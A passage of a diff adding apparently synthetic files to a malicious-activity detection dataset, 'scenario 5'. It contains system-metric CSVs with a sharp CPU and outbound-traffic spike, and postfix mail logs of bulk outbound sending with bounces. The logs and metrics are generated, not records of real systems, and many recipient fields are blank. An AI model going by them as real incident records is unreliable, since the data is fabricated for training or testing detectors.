dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6B8F) +Aug 26 14:06:11 mail-server postfix/smtp[15235]: 3460EEF: to=, relay=mailservice.net[27.142.71.148]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9590) +Aug 26 14:06:12 mail-server postfix/smtp[15235]: 3524D63: to=, relay=example.com[2.145.172.125]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14E4A) +Aug 26 14:06:13 mail-server postfix/smtp[15234]: 31DFE28: to=, relay=example.com[26.80.162.146]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6D49) +Aug 26 14:06:14 mail-server postfix/smtp[15235]: 4EF62CB: to=, relay=mailservice.net[244.145.42.234]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14150) +Aug 26 14:06:15 mail-server CRON[3453]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:06:15 mail-server postfix/smtp[15234]: 1FDEF00: to=, relay=web-host.org[13.103.149.53]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1284A) +Aug 26 14:06:17 mail-server postfix/smtp[15235]: 2A66201: to=, relay=bad-domain.biz[21.53.248.61]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E9EB) +Aug 26 14:06:17 mail-server postfix/smtp[15235]: 2FC4FD4: to=, relay=example.com[142.1.188.108]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 568B) +Aug 26 14:06:19 mail-server postfix/smtp[15235]: 420FD8E: to=, relay=web-host.org[71.130.225.254]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 15D9A) +Aug 26 14:06:20 mail-server postfix/smtp[15235]: D38470: to=, relay=mailservice.net[132.126.67.152]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:06:21 mail-server postfix/smtp[15235]: 2DE10F5: to=, relay=web-host.org[135.111.160.46]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E3C7) +Aug 26 14:06:22 mail-server postfix/smtp[15234]: 4778496: to=, relay=bad-domain.biz[83.127.140.216]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 178D6) +Aug 26 14:06:23 mail-server postfix/smtp[15234]: 1A755B7: to=, relay=bad-domain.biz[108.82.3.124]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FEB0) +Aug 26 14:06:24 mail-server postfix/smtp[15235]: 3A0AE73: to=, relay=web-host.org[172.28.230.132]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E398) +Aug 26 14:06:24 mail-server postfix/smtp[15234]: 5BE0AC4: to=, relay=example.com[81.91.124.198]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7B5D) +Aug 26 14:06:24 mail-server postfix/smtp[15235]: B29BA9: to=, relay=example.com[99.200.211.93]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C733) +Aug 26 14:06:27 mail-server postfix/smtp[15235]: 2914C81: to=, relay=example.com[159.226.21.117]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10DC6) +Aug 26 14:06:27 mail-server postfix/smtp[15234]: 52B5AD4: to=, relay=mailservice.net[126.39.65.199]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 112C8) +Aug 26 14:06:28 mail-server postfix/smtp[15235]: 4EF62CB: to=, relay=web-host.org[41.131.65.212]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 177CB) +Aug 26 14:06:28 mail-server postfix/smtp[15234]: 47FB4B7: to=, relay=bad-domain.biz[151.63.242.6]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:06:28 mail-server postfix/smtp[15235]: 2562935: to=, relay=mailservice.net[173.130.25.233]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B8FA) +Aug 26 14:06:29 mail-server postfix/smtp[15234]: 5D677CA: to=, relay=bad-domain.biz[73.88.3.225]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:06:30 mail-server postfix/smtp[15234]: 2AE37D3: to=, relay=bad-domain.biz[246.98.140.252]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F957) +Aug 26 14:06:32 mail-server postfix/smtp[15235]: 59C88D4: to=, relay=web-host.org[174.242.39.209]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1769D) +Aug 26 14:06:32 mail-server postfix/smtp[15235]: 1A755B7: to=, relay=mailservice.net[237.107.115.86]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14950) +Aug 26 14:06:33 mail-server postfix/smtp[15234]: 526F472: to=, relay=email-provider.co[164.144.131.163]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 42E3) +Aug 26 14:06:33 mail-server postfix/smtp[15234]: 159A22A: to=, relay=web-host.org[131.81.46.120]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1322B) +Aug 26 14:06:34 mail-server postfix/smtp[15234]: 3A0AE73: to=, relay=web-host.org[185.145.2.250]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3E49) +Aug 26 14:06:35 mail-server postfix/smtp[15235]: 5614324: to=, relay=example.com[130.147.182.235]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 86BB) +Aug 26 14:06:35 mail-server postfix/smtp[15234]: 27E38A3: to=, relay=web-host.org[117.226.74.30]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1464E) +Aug 26 14:06:37 mail-server postfix/smtp[15235]: 19BDA9D: to=, relay=mailservice.net[107.30.201.63]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 164BD) +Aug 26 14:06:38 mail-server postfix/smtp[15235]: 18625E0: to=, relay=bad-domain.biz[115.122.27.149]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:06:39 mail-server postfix/smtp[15234]: 414B532: to=, relay=email-provider.co[208.61.191.145]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) diff --git a/mali_dataset/scenario_5/mali_5_11.csv b/mali_dataset/scenario_5/mali_5_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..5e1e149b2d2ff131ed48169c27af558e0d7e65a2 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,16.29,36.74,25.98,1.76,1.97 +2025-08-26T10:00:05Z,19.45,38.9,10.13,1.16,1.43 +2025-08-26T10:00:10Z,14.46,35.28,29.15,1.5,1.99 +2025-08-26T10:00:15Z,13.6,35.6,16.38,1.8,1.37 +2025-08-26T10:00:20Z,17.65,36.97,16.46,1.24,1.16 +2025-08-26T10:00:25Z,12.29,37.35,29.89,1.63,1.11 +2025-08-26T10:00:30Z,11.44,37.9,25.63,1.47,1.2 +2025-08-26T10:00:35Z,17.63,37.09,19.57,1.55,1.91 +2025-08-26T10:00:40Z,11.8,39.29,17.44,1.95,1.28 +2025-08-26T10:00:45Z,10.19,42.36,18.16,1.31,1.04 +2025-08-26T10:00:50Z,13.89,40.7,28.64,1.7,1.53 +2025-08-26T10:00:55Z,19.51,40.08,11.53,1.16,1.87 +2025-08-26T10:01:00Z,13.91,36.67,14.58,1.76,1.51 +2025-08-26T10:01:05Z,10.41,36.92,28.5,1.42,1.98 +2025-08-26T10:01:10Z,13.54,38.86,16.82,1.83,1.08 +2025-08-26T10:01:15Z,15.32,40.42,15.61,1.75,2.0 +2025-08-26T10:01:20Z,14.03,36.67,27.24,1.97,1.48 +2025-08-26T10:01:25Z,16.75,35.27,10.12,1.49,1.99 +2025-08-26T10:01:30Z,18.05,35.75,28.79,1.92,1.42 +2025-08-26T10:01:35Z,14.57,43.61,24.52,1.19,1.63 +2025-08-26T10:01:40Z,42.05,44.6,25.98,10.36,82.6 +2025-08-26T10:01:45Z,67.6,38.91,25.21,9.61,95.03 +2025-08-26T10:01:50Z,42.43,43.78,23.28,13.63,76.31 +2025-08-26T10:01:55Z,42.13,45.21,32.95,9.85,82.79 +2025-08-26T10:02:00Z,62.17,44.17,32.41,14.2,91.59 +2025-08-26T10:02:05Z,45.82,38.55,25.47,6.37,61.93 +2025-08-26T10:02:10Z,55.24,38.51,30.03,7.32,73.6 +2025-08-26T10:02:15Z,66.2,45.68,27.22,13.4,77.98 +2025-08-26T10:02:20Z,55.01,37.63,30.07,8.86,65.8 +2025-08-26T10:02:25Z,64.77,41.32,30.87,12.62,98.65 +2025-08-26T10:02:30Z,62.13,42.08,26.46,13.78,78.0 +2025-08-26T10:02:35Z,67.53,45.16,34.12,8.6,91.14 +2025-08-26T10:02:40Z,46.49,36.64,34.11,5.85,69.31 +2025-08-26T10:02:45Z,58.76,37.55,27.69,13.96,80.95 +2025-08-26T10:02:50Z,56.07,39.1,31.46,6.63,79.52 +2025-08-26T10:02:55Z,53.23,39.09,30.96,12.15,64.03 +2025-08-26T10:03:00Z,58.45,38.87,34.47,9.46,73.93 +2025-08-26T10:03:05Z,43.63,39.48,30.21,9.37,84.91 +2025-08-26T10:03:10Z,50.89,36.96,19.01,8.35,86.48 +2025-08-26T10:03:15Z,65.88,37.55,27.6,10.56,93.99 +2025-08-26T10:03:20Z,42.32,45.28,33.91,7.48,97.22 +2025-08-26T10:03:25Z,60.55,45.01,20.04,8.54,70.51 +2025-08-26T10:03:30Z,59.25,44.79,30.17,13.55,98.33 +2025-08-26T10:03:35Z,45.29,36.66,22.36,14.61,68.53 +2025-08-26T10:03:40Z,54.04,44.89,27.48,11.12,85.43 +2025-08-26T10:03:45Z,53.24,43.26,32.27,5.3,66.03 +2025-08-26T10:03:50Z,52.38,45.64,26.42,9.59,62.71 +2025-08-26T10:03:55Z,40.53,45.55,25.0,9.85,66.84 +2025-08-26T10:04:00Z,57.76,37.26,32.01,12.81,74.27 +2025-08-26T10:04:05Z,64.59,41.6,32.02,5.92,62.43 +2025-08-26T10:04:10Z,56.78,40.11,33.58,13.52,66.39 +2025-08-26T10:04:15Z,59.19,41.54,15.39,13.36,61.31 +2025-08-26T10:04:20Z,55.14,41.69,21.94,10.43,92.47 +2025-08-26T10:04:25Z,43.24,39.34,24.19,14.43,96.88 +2025-08-26T10:04:30Z,58.47,43.71,34.85,11.61,86.07 +2025-08-26T10:04:35Z,60.96,43.23,32.29,5.81,81.96 +2025-08-26T10:04:40Z,58.97,45.28,34.52,5.06,77.59 +2025-08-26T10:04:45Z,52.15,40.06,23.22,11.31,82.86 +2025-08-26T10:04:50Z,41.41,41.91,28.76,12.04,60.02 +2025-08-26T10:04:55Z,60.95,39.02,27.06,13.92,92.07 +2025-08-26T10:05:00Z,43.76,41.79,18.22,8.52,87.42 +2025-08-26T10:05:05Z,41.71,40.09,16.04,13.07,91.16 +2025-08-26T10:05:10Z,52.48,36.18,34.75,5.77,90.54 +2025-08-26T10:05:15Z,46.42,40.56,28.48,11.84,65.47 +2025-08-26T10:05:20Z,45.72,42.86,34.55,7.19,66.94 +2025-08-26T10:05:25Z,66.31,41.55,15.19,13.02,77.25 +2025-08-26T10:05:30Z,68.84,38.45,30.11,7.03,62.98 +2025-08-26T10:05:35Z,55.64,41.98,21.19,12.22,65.48 +2025-08-26T10:05:40Z,51.21,39.4,17.95,12.39,98.28 +2025-08-26T10:05:45Z,50.56,38.63,18.15,11.8,60.73 +2025-08-26T10:05:50Z,49.01,44.92,15.1,9.42,80.75 +2025-08-26T10:05:55Z,47.69,45.4,34.44,5.27,76.61 +2025-08-26T10:06:00Z,47.42,43.41,26.86,8.67,73.57 +2025-08-26T10:06:05Z,63.32,41.76,33.93,14.39,75.58 +2025-08-26T10:06:10Z,42.91,37.97,19.55,5.61,88.94 +2025-08-26T10:06:15Z,56.76,40.23,21.4,10.11,92.37 +2025-08-26T10:06:20Z,58.19,40.89,26.48,8.32,74.03 +2025-08-26T10:06:25Z,42.38,38.09,20.57,11.73,76.97 +2025-08-26T10:06:30Z,41.64,37.83,20.93,13.26,75.05 +2025-08-26T10:06:35Z,68.11,45.32,26.84,5.63,89.72 +2025-08-26T10:06:40Z,16.87,43.08,30.44,2.49,1.78 +2025-08-26T10:06:45Z,13.41,39.9,24.25,2.28,2.0 +2025-08-26T10:06:50Z,12.61,39.89,29.36,2.05,2.11 +2025-08-26T10:06:55Z,16.43,41.66,19.02,1.79,1.94 +2025-08-26T10:07:00Z,13.42,39.2,21.86,1.82,2.12 +2025-08-26T10:07:05Z,21.17,42.66,13.6,1.62,1.82 +2025-08-26T10:07:10Z,17.86,40.56,26.41,1.64,1.67 +2025-08-26T10:07:15Z,13.17,41.3,13.9,1.79,2.01 +2025-08-26T10:07:20Z,15.26,42.91,28.4,1.61,1.86 +2025-08-26T10:07:25Z,15.8,39.77,19.66,2.46,2.24 diff --git a/mali_dataset/scenario_5/mali_5_11.log b/mali_dataset/scenario_5/mali_5_11.log new file mode 100644 index 0000000000000000000000000000000000000000..5167ab6998cbc9c6cc6b962f6696199bbecc16dd --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_11.log @@ -0,0 +1,93 @@ +Aug 26 10:00:00 server systemd[1]: Starting daily clean up activities... +Aug 26 10:00:00 server CRON[1023]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:20 server systemd[1]: Starting daily clean up activities... +Aug 26 10:00:35 server CRON[1723]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:40 server systemd[1]: Starting daily clean up activities... +Aug 26 10:01:00 server systemd[1]: Starting daily clean up activities... +Aug 26 10:01:10 server CRON[11423]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:20 server systemd[1]: Starting daily clean up activities... +Aug 26 10:01:40 server postfix/smtp[2055]: 121DF0C2D0: to=, relay=mx.mailservice.org[192.0.2.42]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:01:40 server postfix/bounce[2056]: E277A10FF0: sender non-delivery notification: 121DF0C2D0 +Aug 26 10:01:40 server postfix/smtp[2055]: E277A10FF0: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:01:45 server postfix/smtp[2155]: 97B1225FFF: to=, relay=mx.business.io[192.0.2.228]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:01:50 server postfix/smtp[2255]: 621E71452B: to=<5aeppo@usermail.net>, relay=mx.usermail.net[192.0.2.94]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:01:55 server postfix/smtp[2355]: 9B2A1027AB: to=, relay=mx.business.io[192.0.2.209]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:00 server postfix/smtp[2455]: FC9CD2152C: to=, relay=mx.example.com[192.0.2.15]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:05 server postfix/smtp[2555]: 5C3982E21D: to=, relay=mx.web-hosting.co[192.0.2.41]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:05 server postfix/bounce[2556]: B6CA7172CB: sender non-delivery notification: 5C3982E21D +Aug 26 10:02:05 server postfix/smtp[2555]: B6CA7172CB: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spam-blocker.net type=A: Host not found) +Aug 26 10:02:10 server postfix/smtp[2655]: 8B72992E76: to=, relay=mx.usermail.net[192.0.2.243]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:15 server postfix/smtp[2755]: C0C4BE7747: to=, relay=mx.mailservice.org[192.0.2.132]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:20 server postfix/smtp[2855]: F75E144C31: to=, relay=mx.business.io[192.0.2.182]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:25 server postfix/smtp[2955]: 298CEE20D6: to=, relay=mx.web-hosting.co[192.0.2.193]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:30 server postfix/smtp[3055]: F3F72E6CA0: to=, relay=mx.usermail.net[192.0.2.30]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:30 server postfix/bounce[3056]: 3AD8FD7B8F: sender non-delivery notification: F3F72E6CA0 +Aug 26 10:02:30 server postfix/smtp[3055]: 3AD8FD7B8F: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-domain.com type=A: Host not found) +Aug 26 10:02:35 server postfix/smtp[3155]: 1B3C39DA7B: to=, relay=mx.web-hosting.co[192.0.2.135]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:40 server postfix/smtp[3255]: 05639D4A9D: to=<80sca7@web-hosting.co>, relay=mx.web-hosting.co[192.0.2.240]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:45 server postfix/smtp[3355]: 3035298CAB: to=, relay=mx.business.io[192.0.2.30]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:50 server postfix/smtp[3455]: 68B6C1E514: to=, relay=mx.example.com[192.0.2.146]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:55 server postfix/smtp[3555]: 9B6C2F10C8: to=, relay=mx.business.io[192.0.2.166]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:02:55 server postfix/bounce[3556]: D443689927: sender non-delivery notification: 9B6C2F10C8 +Aug 26 10:02:55 server postfix/smtp[3555]: D443689927: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:03:00 server postfix/smtp[3655]: A37B55EC03: to=, relay=mx.web-hosting.co[192.0.2.123]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:05 server postfix/smtp[3755]: CEB17D48EA: to=<51m727@example.com>, relay=mx.example.com[192.0.2.174]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:10 server postfix/smtp[3855]: 44AAC8CE03: to=, relay=mx.business.io[192.0.2.142]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:15 server postfix/smtp[3955]: 04EB7766F6: to=, relay=mx.web-hosting.co[192.0.2.42]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:20 server postfix/smtp[4055]: 8B1C3C141E: to=<0g3wt0@business.io>, relay=mx.business.io[192.0.2.136]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:20 server postfix/bounce[4056]: F35054D1D1: sender non-delivery notification: 8B1C3C141E +Aug 26 10:03:20 server postfix/smtp[4055]: F35054D1D1: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:03:25 server postfix/smtp[4155]: C22D9935D2: to=, relay=mx.example.com[192.0.2.230]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:30 server postfix/smtp[4255]: F0BA642B68: to=<79s13k@web-hosting.co>, relay=mx.web-hosting.co[192.0.2.78]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:35 server postfix/smtp[4355]: 2D119BA790: to=<9uhnrb@usermail.net>, relay=mx.usermail.net[192.0.2.5]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:40 server postfix/smtp[4455]: 8F2004EAD9: to=, relay=mx.usermail.net[192.0.2.68]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:45 server postfix/smtp[4555]: 6CCFA4A4A3: to=, relay=mx.business.io[192.0.2.150]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:45 server postfix/bounce[4556]: F964CB2FA1: sender non-delivery notification: 6CCFA4A4A3 +Aug 26 10:03:45 server postfix/smtp[4555]: F964CB2FA1: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spam-blocker.net type=A: Host not found) +Aug 26 10:03:50 server postfix/smtp[4655]: 85742922D2: to=, relay=mx.example.com[192.0.2.97]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:03:55 server postfix/smtp[4755]: 5BD806340E: to=, relay=mx.example.com[192.0.2.56]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:00 server postfix/smtp[4855]: 9FB4FF3443: to=, relay=mx.business.io[192.0.2.30]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:05 server postfix/smtp[4955]: 94CFE09800: to=, relay=mx.usermail.net[192.0.2.107]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:10 server postfix/smtp[5055]: 6E40070881: to=, relay=mx.mailservice.org[192.0.2.98]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:10 server postfix/bounce[5056]: E340924B15: sender non-delivery notification: 6E40070881 +Aug 26 10:04:10 server postfix/smtp[5055]: E340924B15: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:04:15 server postfix/smtp[5155]: 42E9BB41D4: to=<1kfmwk@example.com>, relay=mx.example.com[192.0.2.115]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:20 server postfix/smtp[5255]: 9F60865747: to=, relay=mx.example.com[192.0.2.50]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:25 server postfix/smtp[5355]: 4B984B8D8E: to=, relay=mx.business.io[192.0.2.120]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:30 server postfix/smtp[5455]: D8B1C71DF8: to=, relay=mx.web-hosting.co[192.0.2.164]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:35 server postfix/smtp[5555]: 7C53F17CBC: to=, relay=mx.web-hosting.co[192.0.2.198]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:35 server postfix/bounce[5556]: 2D33709D4F: sender non-delivery notification: 7C53F17CBC +Aug 26 10:04:35 server postfix/smtp[5555]: 2D33709D4F: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:04:40 server postfix/smtp[5655]: BA35486E25: to=, relay=mx.business.io[192.0.2.30]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:45 server postfix/smtp[5755]: 501A7BFF37: to=<6tvvuf@mailservice.org>, relay=mx.mailservice.org[192.0.2.70]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:50 server postfix/smtp[5855]: FB5B85BBE4: to=, relay=mx.usermail.net[192.0.2.201]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:04:55 server postfix/smtp[5955]: 0ADF4E833E: to=, relay=mx.business.io[192.0.2.114]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:00 server postfix/smtp[6055]: 7C87FD47A6: to=, relay=mx.business.io[192.0.2.231]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:00 server postfix/bounce[6056]: F7770DCB1A: sender non-delivery notification: 7C87FD47A6 +Aug 26 10:05:00 server postfix/smtp[6055]: F7770DCB1A: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spam-blocker.net type=A: Host not found) +Aug 26 10:05:05 server postfix/smtp[6155]: 5C99AA4439: to=, relay=mx.example.com[192.0.2.23]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:10 server postfix/smtp[6255]: CE82E6AA6D: to=<5qz7u8@web-hosting.co>, relay=mx.web-hosting.co[192.0.2.197]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:15 server postfix/smtp[6355]: B8A124AC87: to=, relay=mx.business.io[192.0.2.197]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:20 server postfix/smtp[6455]: 9BAB1D2025: to=<9l9vil@usermail.net>, relay=mx.usermail.net[192.0.2.197]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:25 server postfix/smtp[6555]: 9FD03D47CB: to=, relay=mx.usermail.net[192.0.2.246]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:25 server postfix/bounce[6556]: 9F45DFC32A: sender non-delivery notification: 9FD03D47CB +Aug 26 10:05:25 server postfix/smtp[6555]: 9F45DFC32A: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spam-blocker.net type=A: Host not found) +Aug 26 10:05:30 server postfix/smtp[6655]: DD3EBA18DB: to=<8xtjpz@example.com>, relay=mx.example.com[192.0.2.14]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:35 server postfix/smtp[6755]: E81CFE99B5: to=<7rean7@usermail.net>, relay=mx.usermail.net[192.0.2.142]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:40 server postfix/smtp[6855]: ECD2D68655: to=, relay=mx.business.io[192.0.2.63]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:45 server postfix/smtp[6955]: 135D2CAD2B: to=, relay=mx.usermail.net[192.0.2.126]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:50 server postfix/smtp[7055]: E1657CB4F1: to=, relay=mx.web-hosting.co[192.0.2.33]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:05:50 server postfix/bounce[7056]: 048304824A: sender non-delivery notification: E1657CB4F1 +Aug 26 10:05:50 server postfix/smtp[7055]: 048304824A: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:05:55 server postfix/smtp[7155]: 6544E463A9: to=, relay=mx.example.com[192.0.2.58]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:00 server postfix/smtp[7255]: BD51B9D51D: to=, relay=mx.example.com[192.0.2.80]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:05 server postfix/smtp[7355]: 5D321394AF: to=<4rgm5d@web-hosting.co>, relay=mx.web-hosting.co[192.0.2.18]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:10 server postfix/smtp[7455]: C7B44C58E7: to=, relay=mx.example.com[192.0.2.168]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:15 server postfix/smtp[7555]: 80FE439BBA: to=, relay=mx.mailservice.org[192.0.2.82]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:15 server postfix/bounce[7556]: C0EA287D34: sender non-delivery notification: 80FE439BBA +Aug 26 10:06:15 server postfix/smtp[7555]: C0EA287D34: to=, relay=none, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-user.org type=A: Host not found) +Aug 26 10:06:20 server postfix/smtp[7655]: 167BF33D10: to=, relay=mx.usermail.net[192.0.2.186]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:25 server postfix/smtp[7755]: B8BE56DB44: to=, relay=mx.business.io[192.0.2.51]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:30 server postfix/smtp[7855]: 7628BC7A70: to=<9c0tcn@usermail.net>, relay=mx.usermail.net[192.0.2.51]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:06:35 server postfix/smtp[7955]: 18619E5FCE: to=, relay=mx.business.io[192.0.2.34]:25, dsn=2.0.0, status=sent (250 OK) +Aug 26 10:07:00 server systemd[1]: Finished daily clean up activities. diff --git a/mali_dataset/scenario_5/mali_5_12.csv b/mali_dataset/scenario_5/mali_5_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..f8361d08cd44e1b7e4b44fa5d17bf8f37582ee41 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-05T08:00:00Z,13.33,40.33,9.22,1.04,1.37 +2025-07-05T08:00:05Z,13.81,40.42,12.24,0.9,1.57 +2025-07-05T08:00:10Z,13.64,37.86,6.95,1.17,1.06 +2025-07-05T08:00:15Z,13.61,41.85,6.52,0.75,1.49 +2025-07-05T08:00:20Z,15.24,40.57,5.0,0.91,1.52 +2025-07-05T08:00:25Z,13.56,41.13,12.98,0.78,1.37 +2025-07-05T08:00:30Z,18.84,41.11,11.99,0.76,1.74 +2025-07-05T08:00:35Z,8.84,45.02,9.93,1.05,1.29 +2025-07-05T08:00:40Z,15.59,39.9,10.34,1.02,1.5 +2025-07-05T08:00:45Z,8.75,38.99,11.92,0.97,1.79 +2025-07-05T08:00:50Z,17.96,40.13,11.04,1.07,1.6 +2025-07-05T08:00:55Z,19.39,38.4,11.06,1.29,1.53 +2025-07-05T08:01:00Z,19.93,41.67,9.52,1.07,1.4 +2025-07-05T08:01:05Z,17.87,42.08,9.75,0.56,1.08 +2025-07-05T08:01:10Z,16.75,39.74,12.54,0.8,1.64 +2025-07-05T08:01:15Z,13.22,38.58,9.22,0.65,1.52 +2025-07-05T08:01:20Z,12.89,39.02,8.37,1.22,1.03 +2025-07-05T08:01:25Z,20.29,42.0,8.63,1.08,1.37 +2025-07-05T08:01:30Z,17.43,39.79,11.31,0.94,2.07 +2025-07-05T08:01:35Z,16.45,36.4,7.1,1.08,1.56 +2025-07-05T08:01:40Z,62.22,39.48,8.66,0.91,103.39 +2025-07-05T08:01:45Z,73.29,37.25,11.41,1.1,73.6 +2025-07-05T08:01:50Z,58.16,40.53,8.68,0.86,81.34 +2025-07-05T08:01:55Z,59.18,43.26,14.45,0.66,84.17 +2025-07-05T08:02:00Z,59.62,38.55,10.85,1.16,77.54 +2025-07-05T08:02:05Z,58.41,40.38,10.83,0.81,110.73 +2025-07-05T08:02:10Z,54.98,40.13,10.37,1.24,86.95 +2025-07-05T08:02:15Z,60.28,40.0,9.68,0.97,112.87 +2025-07-05T08:02:20Z,57.85,40.6,8.14,1.0,75.08 